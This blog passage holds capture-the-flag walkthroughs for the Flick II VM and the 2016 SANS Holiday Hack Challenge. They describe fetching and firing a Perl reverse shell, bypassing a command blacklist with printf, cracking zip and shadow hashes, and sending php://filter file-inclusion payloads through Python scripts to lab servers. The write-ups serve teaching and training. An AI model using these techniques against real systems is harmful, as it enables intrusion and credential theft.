  signing: res/drawable-xxxhdpi-v4/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_clear_mtrl_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_menu_moreoverflow_mtrl_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_menu_paste_mtrl_am_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_menu_selectall_mtrl_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_menu_share_mtrl_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_search_api_mtrl_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_voice_search_api_mtrl_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-xxxhdpi-v4/abc_switch_track_mtrl_alpha.9.png
  signing: res/drawable-xxxhdpi-v4/abc_tab_indicator_mtrl_alpha.9.png
  signing: res/drawable/abc_btn_check_material.xml
  signing: res/drawable/abc_btn_default_mtrl_shape.xml
  signing: res/drawable/abc_btn_radio_material.xml
  signing: res/drawable/abc_cab_background_internal_bg.xml
  signing: res/drawable/abc_cab_background_top_material.xml
  signing: res/drawable/abc_edit_text_material.xml
  signing: res/drawable/abc_item_background_holo_dark.xml
  signing: res/drawable/abc_item_background_holo_light.xml
  signing: res/drawable/abc_list_selector_background_transition_holo_dark.xml
  signing: res/drawable/abc_list_selector_background_transition_holo_light.xml
  signing: res/drawable/abc_list_selector_holo_dark.xml
  signing: res/drawable/abc_list_selector_holo_light.xml
  signing: res/drawable/abc_ratingbar_full_material.xml
  signing: res/drawable/abc_spinner_textfield_background_material.xml
  signing: res/drawable/abc_switch_thumb_material.xml
  signing: res/drawable/abc_tab_indicator_material.xml
  signing: res/drawable/abc_textfield_search_material.xml
  signing: res/layout-v11/abc_screen_content_include.xml
  signing: res/layout-v21/abc_screen_toolbar.xml
  signing: res/layout/abc_action_bar_title_item.xml
  signing: res/layout/abc_action_bar_up_container.xml
  signing: res/layout/abc_action_bar_view_list_nav_layout.xml
  signing: res/layout/abc_action_menu_item_layout.xml
  signing: res/layout/abc_action_menu_layout.xml
  signing: res/layout/abc_action_mode_bar.xml
  signing: res/layout/abc_action_mode_close_item_material.xml
  signing: res/layout/abc_activity_chooser_view.xml
  signing: res/layout/abc_activity_chooser_view_list_item.xml
  signing: res/layout/abc_expanded_menu_layout.xml
  signing: res/layout/abc_list_menu_item_checkbox.xml
  signing: res/layout/abc_list_menu_item_icon.xml
  signing: res/layout/abc_list_menu_item_layout.xml
  signing: res/layout/abc_list_menu_item_radio.xml
  signing: res/layout/abc_popup_menu_item_layout.xml
  signing: res/layout/abc_screen_content_include.xml
  signing: res/layout/abc_screen_simple.xml
  signing: res/layout/abc_screen_simple_overlay_action_mode.xml
  signing: res/layout/abc_screen_toolbar.xml
  signing: res/layout/abc_search_dropdown_item_icons_2line.xml
  signing: res/layout/abc_search_view.xml
  signing: res/layout/abc_simple_dropdown_hint.xml
  signing: res/layout/activity_command.xml
  signing: res/layout/activity_do_register.xml
  signing: res/layout/activity_main.xml
  signing: res/layout/activity_read_api_server.xml
  signing: res/layout/activity_register.xml
  signing: res/layout/support_simple_spinner_dropdown_item.xml
  signing: res/menu/menu_command.xml
  signing: res/menu/menu_do_register.xml
  signing: res/menu/menu_main.xml
  signing: res/menu/menu_read_api_server.xml
  signing: res/menu/menu_register.xml
  signing: res/mipmap-hdpi-v4/ic_launcher.png
  signing: res/mipmap-mdpi-v4/ic_launcher.png
  signing: res/mipmap-xhdpi-v4/ic_launcher.png
  signing: res/mipmap-xxhdpi-v4/ic_launcher.png
  signing: resources.arsc
jar signed.

Warning: 
No -tsa or -tsacert is provided and this jar is not timestamped. Without a timestamp, users may not be able to validate this jar after the signer certificate's expiration date (2044-05-06) or after any future revocation date.

And now lets try installing it again:

MahcBook-Pro:temp sebastianbrabetz$ /path/to/Library/Android/sdk/platform-tools/adb install flick-hacked.apk 
803 KB/s (1110948 bytes in 1.350s)
	pkg: /data/local/tmp/flick-hacked.apk
Success

Awesome it worked!

Now lets try to MitM the App with burp:

first-mitm-connection

 

And lets take a look at burp:

first-mitm-connection2

Awesome it worked! We can now MitM the Programm and see it registering the Device!

We can now watch the Programs API Functioncalls:

free-in-app

And in burp:

free-in-burp

Now we can use “Action -> Send to Repeater” to interactively play with the API:

api-games

Nice!!!

Third Order of Business: From API to Shell!

You can read the sourcecode or easily guess that the app just base64 encodes the linux shell commands.

Lets try another one:

decoder-id

And execute it:

id-call

gotcha! Lets see if we can download my favorite Perl Reverse shell that comes with Kali on FlickII

First we need a simple webserver for hosting the perl file:

simple-http-server1

 

Now lets try to wget my shell:

wget-fail

command not found….

Lets try curl instead:

curl-decoder

And execute it:

curl-ok

*boom*

simple-http-server

Nice now I have placed my Perl-Reverseshell script on the Server!
Lets see if I can find it:

ls-decoder
And again execute:

ls-banned-command

 

Oh no! Banned command! Seems like the API blacklists certain commands!

Blacklisting however is always vulnerable, i just need to figure out a command that lets me  execute any blacklisted command!

After a bit of searching arround stackoverflow i learned that printf is this almighty creature!

It lets me list directories:

printf-ls-tmp1

 

printf-ls-tmp2

 

Oh nice, there is my shell!

printf lets me display the content of files using this sytnax:

 printf "%s" "$(</etc/passwd)"

printf-to-display-etcpasswd

And printf lets me execute it using this neat trick:

printf-execute-banned-commands

 

Lets try:

shooting-reverse-shell-using-printf

*boom* again:

we-got-shell

 

This feeling when the reverse shell pops! :-)

This Concludes the first part of the writeup!

Now I need to figure out the privesc and become root so i continue with part II of flick II

 

Thanks to:

@leonjza for providing this awesome VM + Android App!

@edskoudis and the entire SANS Team + everyone else that created and supported this years SANS Holiday Hack Challenge 2016!

If you want read up on this topics I recommend:

  1. This years Holiday Hack Challenge
  2. SANS Pen Test – How To’s: Manipulating Android Applications – Youtube Video
  3. Mining Android Secrets (Decoding Android App Resources)
  4. Joshua Wrigth’s presentation from HackFest 2016 on using Android Studio and JadX (PPTX)
  5. Bypassing Certificate Pinning on Android for fun and profit

Thanks for reading to the end!
Feel free to ask questions in the comments!

–> Continue to Part 2 of the Walkthrough Here <–

Merry Christmas!

BR
Sebastian

Posted in boot2root, miscellaneous, vulnhub | 1 Comment

2016 SANS Holiday Hack Challenge Writeup (Walkthrough)

Its my favorite time of the year again: SANS Holiday Hack Challenge Time:
https://holidayhackchallenge.com/2016/

So lets start with the Writeup:

Part 1: A Most Curious Business Card

Oh noes! Santa got kidnapped! But he lost his business card:

bildschirmfoto-2016-12-11-um-22-48-45

 

But good news he left clues on his Twitter and Instagram!
So lets answer the questions:

1) What is the secret message in Santa’s tweets?

Santas Tweets look like gibberish, but they have interesting dots in them! I wanted to get them in a neat text file to make it easier to spot any patterns.

There are multiple ways to achieve this. I chose the quickest: Just use a website to grab all the tweets:

bildschirmfoto-2016-12-11-um-22-58-40

 

Twlets.com in this case lets you save all tweets of an account as csv easily. The result viewed in Excel already showed an interesting pattern:

bildschirmfoto-2016-12-13-um-21-11-12

 

Not perfectly visible yet but when you put it in a monospaced terminal you can see it perfectly:

bildschirmfoto-2016-12-11-um-23-00-51

 

Lets zoom out:

bildschirmfoto-2016-12-11-um-23-01-13

 

And the answer is: BugBounty \o/

2) What is inside the ZIP file distributed by Santa’s team?

One of the Elves gave me a dungeon.zip containing an old Text Based Adventure Game in form of an 64bit Elf Binary:

bildschirmfoto-2016-12-13-um-21-29-38

 

However this questions most likely is centered around a different zip file ;)

On Santas Business card we can see he has an Instagram Account! This is one of the pictures on his Instagram:

instagram

 

If you zoom in on the Display you can see this:

santagram

 

SantaGram_v4.2.zip!

Now where could we get our hands on this? Lets take a look where the other download came from:

http://www.northpolewonderland.com/dungeon.zip

Now lets try to be really sneaky and try this:

http://www.northpolewonderland.com/SantaGram_v4.2.zip

We have a winner! \o/

Now to answer whats inside of the ZIP file we have to get it open first, as it is password protected:

bildschirmfoto-2016-12-28-um-12-30-33

 

John to the rescue!

The default John that comes with Kali had issues with PKZIP so I downloaded the latest JTR Jumbo from Openwall.

Before investing to much energy intro cracking the password cleverly I tried the low hanging fruit: Pure Bruteforce!

 root@kali:/opt/JohnTheRipper/run# ./zip2john /root/Desktop/hack/SantaGram_v4.2.zip 
ver 2.0 efh 5455 efh 7875 SantaGram_v4.2.zip->SantaGram_4.2.apk PKZIP Encr: 2b chk, TS_chk, cmplen=1962826, decmplen=2257390, crc=EDE16A54
SantaGram_v4.2.zip:$pkzip2$1*2*2*0*1df34a*2271ee*ede16a54*0*4b*8*1df34a*ede1*45ec*a9e4d5fbccd3ed909cfab044ec6e37b82318b565ef029f69c1c1ff17b4847d172f7b15f60c05993193998054b8af5b2c6c6d619629a69f17554eed977dde48fd9e9863bfd78...
....
5e470450e30c1e16bdbb4dd95b4bfdd154263df57600e7359fcee03e4e1bf125c79707616a1719f826122522bf9174292c25fa8becc1e0a9ce453cc491366fd837220a8a11e260d09b14109595af02c75689280d3fa8f07e024ad5d4ebfa1f00f...$/pkzip2$:::::/root/Desktop/hack/SantaGram_v4.2.zip
root@kali:/opt/JohnTheRipper/run# ./zip2john /root/Desktop/hack/SantaGram_v4.2.zip > /tmp/hash.txt
ver 2.0 efh 5455 efh 7875 SantaGram_v4.2.zip->SantaGram_4.2.apk PKZIP Encr: 2b chk, TS_chk, cmplen=1962826, decmplen=2257390, crc=EDE16A54
root@kali:/opt/JohnTheRipper/run# ./john /tmp/hash.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:36 3/3 0g/s 7459Kp/s 7459Kc/s 7459KC/s eg611t..ew0sow
0g 0:00:05:39 3/3 0g/s 10380Kp/s 10380Kc/s 10380KC/s wqz7QE..wqz_3t
bugbounty (SantaGram_v4.2.zip)
1g 0:00:06:09 DONE 3/3 (2016-12-28 06:39) 0.002706g/s 10407Kp/s 10407Kc/s 10407KC/s bugbolico..bugbaddor
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Don’t ask me why zip2john.py is outputting the entire f* file instead of just the hash but it worked this way and was cracked in 6 minutes inside a virtual machine running on a 4xCore i7  Macbook….

Ofcourse we already had the password from the hidden twitter message but thinking about this would have taken more effort than just brute forcing it…

So now equipped with the password I can finally answer the question, whats inside of the ZIP file:

zipcracked

 

An Android APK! I like where this is going!

Part 2: Awesome Package Konveyance (APK got it!)

With the APK at hand let me answer question 3&4:

3) What username and password are embedded in the APK file?

This questions can be answered most easily using jadx! With it’s lovely search function I found the hardcoded credentials right away:

jadx-search

 

And here it is:

hardcoded-credsSo to Answer the question directly, the hardcoded Credentials in the APK are:

username: "guest"
password: "busyreindeer78"

4) What is the name of the audible component (audio file) in the SantaGram APK file?

The easiest way to get to the audio is to just unzip the APK:

root@kali:~/Desktop/hack# unzip SantaGram_4.2.apk 
Archive: SantaGram_4.2.apk
 inflating: AndroidManifest.xml 
 inflating: META-INF/CERT.RSA 
...
...
...
extracting: res/mipmap-xxhdpi-v4/ic_launcher.png 
 extracting: res/mipmap-xxxhdpi-v4/ic_launcher.png 
 extracting: res/raw/discombobulatedaudio1.mp3 
 extracting: resources.arsc 
root@kali:~/Desktop/hack# 

The name of the audible component is: discombobulatedaudio1.mp3

Part 3: A Fresh-Baked Holiday Pi

After collecting all Parts of the Rasp…. Errrr. Cranberry Pi I was provided the the SD Card Image for it from one of the Elves:

pimagecranbian.img.zip

5) What is the password for the “cranpi” account on the Cranberry Pi system?

To solve this I needed to mount the Cranberry Pi Images as was well described in a SANS Blog Article provided by one of the Elfs:

cranpiimageelf

SANS Blog: Mount a Raspberry Pi FileSystem Image

Raspian / Cranpian is a Debian based Linux so as with every Linux the password Hash can be obtained from shadow:

root@kali:~/Desktop/hack# fdisk -l cranbian-jessie.img
Disk cranbian-jessie.img: 1.3 GiB, 1389363200 bytes, 2713600 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x5a7089a1

Device Boot Start End Sectors Size Id Type
cranbian-jessie.img1 8192 137215 129024 63M c W95 FAT32 (LBA)
cranbian-jessie.img2 137216 2713599 2576384 1.2G 83 Linux
root@kali:~/Desktop/hack# echo $((512*137216))
70254592
root@kali:~/Desktop/hack# mkdir mount
root@kali:~/Desktop/hack# mount -v -o offset=70254592 -t ext4 cranbian-jessie.img mount/
mount: /dev/loop0 mounted on /root/Desktop/hack/mount.
root@kali:~/Desktop/hack# cat mount/etc/shadow
root:*:17067:0:99999:7:::
daemon:*:17067:0:99999:7:::
bin:*:17067:0:99999:7:::
sys:*:17067:0:99999:7:::
sync:*:17067:0:99999:7:::
games:*:17067:0:99999:7:::
man:*:17067:0:99999:7:::
lp:*:17067:0:99999:7:::
mail:*:17067:0:99999:7:::
news:*:17067:0:99999:7:::
uucp:*:17067:0:99999:7:::
proxy:*:17067:0:99999:7:::
www-data:*:17067:0:99999:7:::
backup:*:17067:0:99999:7:::
list:*:17067:0:99999:7:::
irc:*:17067:0:99999:7:::
gnats:*:17067:0:99999:7:::
nobody:*:17067:0:99999:7:::
systemd-timesync:*:17067:0:99999:7:::
systemd-network:*:17067:0:99999:7:::
systemd-resolve:*:17067:0:99999:7:::
systemd-bus-proxy:*:17067:0:99999:7:::
messagebus:*:17067:0:99999:7:::
avahi:*:17067:0:99999:7:::
ntp:*:17067:0:99999:7:::
sshd:*:17067:0:99999:7:::
statd:*:17067:0:99999:7:::
cranpi:$6$2AXLbEoG$zZlWSwrUSD02cm8ncL6pmaYY/39DUai3OGfnBbDNjtx2G99qKbhnidxinanEhahBINm/2YyjFihxg7tgc343b0:17140:0:99999:7:::

As I have a lovely password cracking / VR Gaming Rig set up with a GTX1080 I transferred the cracking of the password-hash to GPU this time:

First I quickly used John on Kali to identify the hash type:

johnabuse

Then I switched over to my “work computer”:

spielekiste5 Seconds, thats okay!

And the answer is: yummycookies

6) How did you open each terminal door and where had the villain imprisoned Santa?

Now we are getting down to some Linux Skills! There are 5 Doors with Cranberry Pi Interfaces:

Door 1: Elf House #2 – Room 2

Where is this Shell coming from?

snitch

 

Thats where it is coming from!

To solve the Door I have to gain Access to a pcap file and find 2 halves of the Password string:

sudo0

Im user scratchy and only user itchy can access it! So how to get at it?

sudo1

 

So like with every good privesc you want to check sudo first! sudo -l lists my options in the sudoers file and as you can see I can access tcpdump and strings as itchy without a password.

Now isn’t that convenient! Lets read it with tcpdump:

tcpdump

The first half of the password was presented right away:

firstpart

It’s “santasli“! Now lets hunt for the second part with strings!

After having no success with strings in default mode i remembered that you can switch the encoding strings uses to search for strings, so I make it a habit to just try all encodings:

part2And there is the second part: “ttlehelper“!

So the password for the door is: “santaslittlehelper“!

Behind the Door is Alabaster Snowball with some usefull Burp JSON Tips:

alabastaDoor 2: Santa’s Office

A hidden file on Linux! Oh noes!

finditallNow before I break my fingers accessing this mess from hand I just let find do the work:

open_sesame

 

So the key for this door is: “open_sesame

But what do we have in Santa’s office? Door-Ception! Another Terminal! And a hidden door in the bookshelf:

Door 3: The Corridor

doorception

 

Lets see what the Terminal Game is this time:

wargames

HA! I know this line! I’m not sure which, but one of the vulnhub VMs I did this year had a Wargames reference like this too!

So I looked up the youtube video of this scene:

youtube

And figured out that I am supposed to reenact the scene 100%:

greetingsfalken

Eventually I got the password for the hidden door:

password

LOOK AT THE PRETTY LIGHTS“!

Now behind that door I was stuck in The Corridor… For now I cannot open this door because it has no Terminal and no other clues how to open it!

the-corridor

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

To the next door!

Door 4: DFER (Dungeon For Errant Reindeer)

wumpus1

 

Another text based game! Boy do I love them…. NOT

Luckily I figured out that if you just send the command s! It just shoots into a random room! It took me 2 restarts to kill the wumpus by accident!

wumpusdeadNow is this cheating? I don’t know….

The password however is “WUMPUS IS MISUNDERSTOOD”

Behind the door you can find Santas Dungeon:

santasdungeonLast but not least:

Door 5: 1978

The last Terminal can be used to start a TimeTravelTrain (I call it TTT-Terminal)!

tttt

 

But to start the Train I need a password!

Good thing the Help menu uses LESS wich has Terminal Escape functions:

less1And here is the password: “24fb3e89ce2aa0ea422c3d511d40dd84

passwordNow back to the Futur…ERR… Past!

backtothepast

ENTER And 1978 it is:

1978I helped someone! I feel good about that!

Now after wandering around and collecting coins I stumbled over Santa in the DFER of 1978:

santaThats when I saw the outro for the first time:

outro

 

Yay that was fun! But the real challenge only starts now!

Part 4: My Gosh… It’s Full of Holes

7) ONCE YOU GET APPROVAL OF GIVEN IN-SCOPE TARGET IP ADDRESSES FROM TOM HESSMAN AT THE NORTH POLE, ATTEMPT TO REMOTELY EXPLOIT EACH OF THE FOLLOWING TARGETS:

All the In-Scope Addresses can be found inside of the APK:

addresses

 

The Mobile Analytics Server (via credentialed login access)

URL: https://analytics.northpolewonderland.com/

This one is pretty easy!  Remember the hardcoded credentials from question No. 3?
When you look closely below the JSON object you can see that the creds are for the Analytics Server:

analcredsLets test this:

analoginAnd here is the second mp3: discombobulatedaudio2.mp3
(Remember the first one was in the APK!)

anamp3Vulnerability for this System:

Hardcoded Credentials inside of the Android APK allows login and exfiltration of potentially sensitive Data!

The Dungeon Game (also called Zork)

Url: http://dungeon.northpolewonderland.com/

An Nmap Scan of the Server reveals an open port TCP 11111:

MahcBook-Pro:~ sebastianbrabetz$ nmap dungeon.northpolewonderland.com

Starting Nmap 7.00 ( https://nmap.org ) at 2016-12-29 18:02 CET
Nmap scan report for dungeon.northpolewonderland.com (35.184.47.139)
Host is up (0.21s latency).
rDNS record for 35.184.47.139: 139.47.184.35.bc.googleusercontent.com
Not shown: 994 closed ports
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http
135/tcp   filtered msrpc
139/tcp   filtered netbios-ssn
445/tcp   filtered microsoft-ds
11111/tcp open     vce

Nmap done: 1 IP address (1 host up) scanned in 19.52 seconds

Connecting reveals an online Version of the Dungeon game:

MahcBook-Pro:~ sebastianbrabetz$ ncat dungeon.northpolewonderland.com 11111

Welcome to Dungeon. This version created 11-MAR-78.
You are in an open field west of a big white house with a boarded front door.
There is a small wrapped mailbox here.
>

There are 2 ways to solve the Dungeon game:

1. Cheat using the hidden Debug mode

When you do strings on the dungeon binary you get from one of the Elves in the Workshop you can kinda spot a Debug “Shell”:

stringsTrying it in the Game showed its really a “secret mode”:

ingame-gdt

However I never figured out how to cheat this way as it was easier to just solve the Game by playing it:

2. Finding the Northpole and give a Gift to the Troll:

After playing the game a while I figured out that you are supposed to find a secret passage to the Northpole and you will reach it by basically climb up every chimney to can find in the game.

Once there you need to provide a Troll with one of the Trophy’s you are supposed to collect in the normal game mode:

troll

 

Shortly after sending an email to “peppy” I received the answer containing my third mp3: discombobulatedaudio3.mp3

answer

Vulnerability for this System:

I am not quite sure if you can call this a real vulnerability. I would rather say the game is supposed to work like this.  However you could call the hidden Debug service a problem because just because its not document does not mean the Debug service cannot be found.

Lesson: Security by Obscurity does not work! Someone somewhere will figure it out eventually!

The Debug Server

Url: http://dev.northpolewonderland.com

To solve this machine its important to understand the Interaction of the App with the Server first!

I used the URL inside strings.xml as a starting point and searched the entire APK for the name of the variable the URL gets stored in: debug_data_collection_url

debugsearch

This reveals the relevant part of code:

debugcode

To get a proper API call I wanted to trigger this function!

However if you read the code closely you see that the function will only trigger if Remote Logging is set to true in strings.xml:

debugstring

 

To set this value to “true” I used apktool to disassemble the the APK to smali code:

MahcBook-Pro:challenge 2 sebastianbrabetz$ ./apktool d SantaGram_4.2.apk 
I: Using Apktool 2.2.1 on SantaGram_4.2.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /Users/sebastianbrabetz/Library/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

And then replaced the false with true:

MahcBook-Pro:values sebastianbrabetz$ pwd
/Users/sebastianbrabetz/Desktop/hackchallenge2016/challenge 2/SantaGram_4.2/res/values
MahcBook-Pro:values sebastianbrabetz$ sed -i '' 's/<string name="debug_data_enabled">false/<string name="debug_data_enabled">true/g' strings.xml

And finally build the APK again:

MahcBook-Pro:challenge 2 sebastianbrabetz$ ./apktool b SantaGram_4.2
I: Using Apktool 2.2.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
I: Building apk file...
I: Copying unknown files/dir...

Before this repacked APK can be installed it needs to be signed though. Gladly a self-signed Certificate will suffice for this!

This basically involves 2 Steps on a Mac:

  1. Create your own Keystore:keytool -genkey -keystore (name).keystore -validity 10000 -alias (name)
  2. Sign APK with this Keystore:jarsigner -keystore (keystorenamename).keystore -verbose NameOf.apk (keystorename)

With the now modified, repacked and self-signed APK I was able to observe the Debug Server API function call via Burp:

debugburpburp

And using the “copy to curl” command from Burp I played around with the API from bash. What I saw in the replies was that the Server answered with a “verbose: false” setting even though I did not specify it.

So I just tried to send a “verbose: true“:

verbosetrue

Low and behold, the server disclosed me the location of my fourth mp3: debug-20161224235959-0.mp3

The ID3 Tag disclosed that it is in fact: discombobulatedaudio4.mp3

id3

Vulnerability for this System:

Again I would not necessarily say this is a vulnerability, but it should be expected that people can reverse engineer Android applications and point them to preprogrammed dev systems to obtain Information that might not be classified for public consumption.

Again you should never rely on security by obscurity!

Maybe better: Strip Debug Code from the APK before you release it to the public! Once code / APKs leave your environment they are fair game! Never try to hide stuff in Android APKs!

The Banner Ad Server

Url: http://ads.northpolewonderland.com

Visiting the Website hosted on this Server and investigating its Source I quickly found that it is using MeteorJS:

sourceGood thing one of the Elves pointed me to the lovely SANS Blog Post: Mining Meteor

Equipped with Tampermonkey and the MeteorMiner Script I quickly found the “hidden” routes:

routesFollowing the Blog Article to the letter I was eventually able to find my 5th mp3: discombobulatedaudio5.mp3 

audio

 

Vulnerability for this System:

Main Problem: complex software was not understood in its entirety! The Meteor Framework for this WebApp was not configured tightly enough and Data was leaked without authentication.

The Uncaught Exception Handler Server

Url: http://ex.northpolewonderland.com

Scanning the Server is only showing Port 22 and 80 open and on the Webserver there is only a 403 Forbidden page beside the exception.php referenced in the Android APK.

Lets follow the Source-code again and check where the variable exhandler_url is used:

writecrashdump-functionSo I whipped up a small python script to talk to the API:

#!/usr/bin/python

import requests
r = requests.post(
'http://ex.northpolewonderland.com/exception.php',
json={
"operation": "WriteCrashDump",
"crashdump": "test",
"data": {"crashdump": "test"}
})
headers = {'Content-type': 'application/json'}
print(r.content)

Lets run it:

root@kali:~/Desktop/hack/json# ./temp1.py 
{
 "success" : true,
 "folder" : "docs",
 "crashdump" : "crashdump-MdXDrS.php"
}

Looks good, lets view it in Browser:

creashdumpbrowserNow if that doesn’t look like a Remote Code execution vulnerability! Better yet lets try the Source code leak / LFI the one Elf pointed out in this cool SANS Blog Article: Getting MOAR Value out of PHP Local File Include Vulnerabilities

So lets try to weaponize this knowledge:

#!/usr/bin/python

import requests
r = requests.post(
'http://ex.northpolewonderland.com/exception.php',

json={
"operation": "WriteCrashDump",
"crashdump": "test",
"data": {"crashdump": "php://filter/convert.base64-encode/resource=crashdump-81N0mz.php"}
})
headers = {'Content-type': 'application/json'}
print(r.content)

Lets try this:

root@kali:~/Desktop/hack/json# ./json-exception-writecrashdump.py 
{
 "success" : true,
 "folder" : "docs",
 "crashdump" : "crashdump-dFb497.php"
}

And look again at it in browser:

failFail! :-(

But wait! Where there is WriteCrashDump there might be ReadCrashDump as well!

Lets try this:

#!/usr/bin/python

import requests
r = requests.post(
'http://ex.northpolewonderland.com/exception.php',

json={
"operation": "ReadCrashDump",
"crashdump": "test",
"data": {"crashdump": "php://filter/convert.base64-encode/resource=exception"}
})
headers = {'Content-type': 'application/json'}
print(r.content)

And run it:

root@kali:~/Desktop/hack/json# ./json-exception-readcrashdump.py 
PD9waHAgCgojIEF1ZGlvIGZpbGUgZnJvbSBEaXNjb21ib2J1bGF0b3IgaW4gd2Vicm9vdDogZGlzY29tYm9idWxhdGVkLWF1ZGlvLTYtWHl6RTNOOVlxS05ILm1wMwoKIyBDb2RlIGZyb20gaHR0cDovL3RoaXNpbnRlcmVzdHNtZS5jb20vcmVjZWl2aW5nLWpzb24tcG9zdC1kYXRhLXZpYS1waHAvCiMgTWFrZSBzdXJlIHRoYXQgaXQgaXMgYSBQT1NUIHJlcXVlc3QuCmlmKHN0cmNhc2VjbXAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10sICdQT1NUJykgIT0gMCl7CiAgICBkaWUoIlJlcXVlc3QgbWV0aG9kIG11c3QgYmUgUE9TVFxuIik7Cn0KCSAKIyBNYWtlIHN1cmUgdGhhdCB0aGUgY29udGVudCB0eXBlIG9mIHRoZSBQT1NUIHJlcXVlc3QgaGFzIGJlZW4gc2V0IHRvIGFwcGxpY2F0aW9uL2pzb24KJGNvbnRlbnRUeXBlID0gaXNzZXQoJF9TRVJWRVJbIkNPTlRFTlRfVFlQRSJdKSA/IHRyaW0oJF9TRVJWRVJbIkNPTlRFTlRfVFlQRSJdKSA6ICcnOwppZihzdHJjYXNlY21wKCRjb250ZW50VHlwZSwgJ2FwcGxpY2F0aW9uL2pzb24nKSAhPSAwKXsKICAgIGRpZSgiQ29udGVudCB0eXBlIG11c3QgYmU6IGFwcGxpY2F0aW9uL2pzb25cbiIpOwp9CgkKIyBHcmFiIHRoZSByYXcgUE9TVC4gTmVjZXNzYXJ5IGZvciBKU09OIGluIHBhcnRpY3VsYXIuCiRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CiRvYmogPSBqc29uX2RlY29kZSgkY29udGVudCwgdHJ1ZSk7CgkjIElmIGpzb25fZGVjb2RlIGZhaWxlZCwgdGhlIEpTT04gaXMgaW52YWxpZC4KaWYoIWlzX2FycmF5KCRvYmopKXsKICAgIGRpZSgiUE9TVCBjb250YWlucyBpbnZhbGlkIEpTT04hXG4iKTsKfQoKIyBQcm9jZXNzIHRoZSBKU09OLgppZiAoICEgaXNzZXQoICRvYmpbJ29wZXJhdGlvbiddKSBvciAoCgkkb2JqWydvcGVyYXRpb24nXSAhPT0gIldyaXRlQ3Jhc2hEdW1wIiBhbmQKCSRvYmpbJ29wZXJhdGlvbiddICE9PSAiUmVhZENyYXNoRHVtcCIpKQoJewoJZGllKCJGYXRhbCBlcnJvciEgSlNPTiBrZXkgJ29wZXJhdGlvbicgbXVzdCBiZSBzZXQgdG8gV3JpdGVDcmFzaER1bXAgb3IgUmVhZENyYXNoRHVtcC5cbiIpOwp9CmlmICggaXNzZXQoJG9ialsnZGF0YSddKSkgewoJaWYgKCRvYmpbJ29wZXJhdGlvbiddID09PSAiV3JpdGVDcmFzaER1bXAiKSB7CgkJIyBXcml0ZSBhIG5ldyBjcmFzaCBkdW1wIHRvIGRpc2sKCQlwcm9jZXNzQ3Jhc2hEdW1wKCRvYmpbJ2RhdGEnXSk7Cgl9CgllbHNlaWYgKCRvYmpbJ29wZXJhdGlvbiddID09PSAiUmVhZENyYXNoRHVtcCIpIHsKCQkjIFJlYWQgYSBjcmFzaCBkdW1wIGJhY2sgZnJvbSBkaXNrCgkJcmVhZENyYXNoZHVtcCgkb2JqWydkYXRhJ10pOwoJfQp9CmVsc2UgewoJIyBkYXRhIGtleSB1bnNldAoJZGllKCJGYXRhbCBlcnJvciEgSlNPTiBrZXkgJ2RhdGEnIG11c3QgYmUgc2V0LlxuIik7Cn0KZnVuY3Rpb24gcHJvY2Vzc0NyYXNoZHVtcCgkY3Jhc2hkdW1wKSB7CgkkYmFzZXBhdGggPSAiL3Zhci93d3cvaHRtbC9kb2NzLyI7Cgkkb3V0cHV0ZmlsZW5hbWUgPSB0ZW1wbmFtKCRiYXNlcGF0aCwgImNyYXNoZHVtcC0iKTsKCXVubGluaygkb3V0cHV0ZmlsZW5hbWUpOwoJCgkkb3V0cHV0ZmlsZW5hbWUgPSAkb3V0cHV0ZmlsZW5hbWUgLiAiLnBocCI7CgkkYmFzZW5hbWUgPSBiYXNlbmFtZSgkb3V0cHV0ZmlsZW5hbWUpOwoJCgkkY3Jhc2hkdW1wX2VuY29kZWQgPSAiPD9waHAgcHJpbnQoJyIgLiBqc29uX2VuY29kZSgkY3Jhc2hkdW1wLCBKU09OX1BSRVRUWV9QUklOVCkgLiAiJyk7IjsKCWZpbGVfcHV0X2NvbnRlbnRzKCRvdXRwdXRmaWxlbmFtZSwgJGNyYXNoZHVtcF9lbmNvZGVkKTsKCQkJCglwcmludCA8PDxFTkQKewoJInN1Y2Nlc3MiIDogdHJ1ZSwKCSJmb2xkZXIiIDogImRvY3MiLAoJImNyYXNoZHVtcCIgOiAiJGJhc2VuYW1lIgp9CgpFTkQ7Cn0KZnVuY3Rpb24gcmVhZENyYXNoZHVtcCgkcmVxdWVzdGVkQ3Jhc2hkdW1wKSB7CgkkYmFzZXBhdGggPSAiL3Zhci93d3cvaHRtbC9kb2NzLyI7CgljaGRpcigkYmFzZXBhdGgpOwkJCgkKCWlmICggISBpc3NldCgkcmVxdWVzdGVkQ3Jhc2hkdW1wWydjcmFzaGR1bXAnXSkpIHsKCQlkaWUoIkZhdGFsIGVycm9yISBKU09OIGtleSAnY3Jhc2hkdW1wJyBtdXN0IGJlIHNldC5cbiIpOwoJfQoKCWlmICggc3Vic3RyKHN0cnJjaHIoJHJlcXVlc3RlZENyYXNoZHVtcFsnY3J